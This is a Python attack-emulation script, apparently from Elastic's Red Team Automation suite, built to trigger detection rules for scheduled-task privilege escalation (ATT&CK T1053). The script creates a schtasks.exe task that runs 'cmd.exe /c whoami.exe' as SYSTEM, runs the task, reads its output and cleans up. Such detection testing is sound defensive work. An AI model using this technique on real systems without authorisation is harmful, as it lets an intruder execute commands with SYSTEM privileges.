55 lines
1.5 KiB
Python
55 lines
1.5 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License
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# 2.0; you may not use this file except in compliance with the Elastic License
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# 2.0.
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# Name: Scheduled Task Privilege Escalation
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# RTA: schtask_escalation.py
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# signal.rule.name: Local Scheduled Task Commands
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# signal.rule.name: Whoami Process Activity
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# signal.rule.name: Svchost spawning Cmd
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# signal.rule.name: Net command via SYSTEM account
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# ATT&CK: T1053
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import os
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import time
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from . import common
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def schtasks(*args, **kwargs):
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return common.execute(['schtasks.exe'] + list(args), **kwargs)
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@common.requires_os(common.WINDOWS)
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def main():
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common.log("Scheduled Task Privilege Escalation")
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task_name = 'test-task-rta'
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file_path = os.path.abspath('task.log')
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command = "cmd.exe /c whoami.exe > " + file_path
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# Delete the task if it exists
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code, output = schtasks('/query', '/tn', task_name)
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if code == 0:
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schtasks('/delete', '/tn', task_name, '/f')
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code, output = schtasks('/create', '/tn', task_name, '/ru', 'system', '/tr', command, '/sc', 'onlogon')
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if code != 0:
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common.log("Error creating task", log_type="!")
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return
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# Run the task and grab the file
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code, output = schtasks('/run', '/tn', task_name)
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if code == 0:
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time.sleep(1)
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common.print_file(file_path)
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time.sleep(1)
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common.remove_file(file_path)
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schtasks('/delete', '/tn', task_name, '/f')
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if __name__ == "__main__":
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main()
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